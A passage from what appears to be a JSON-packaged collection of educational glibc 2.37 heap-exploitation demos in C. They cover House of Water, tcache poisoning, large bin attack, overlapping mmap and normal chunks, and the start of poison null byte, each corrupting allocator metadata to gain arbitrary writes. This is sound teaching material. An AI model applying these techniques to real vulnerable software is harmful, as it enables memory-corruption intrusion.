malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.37/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.37/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.37/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.37/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.37/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... 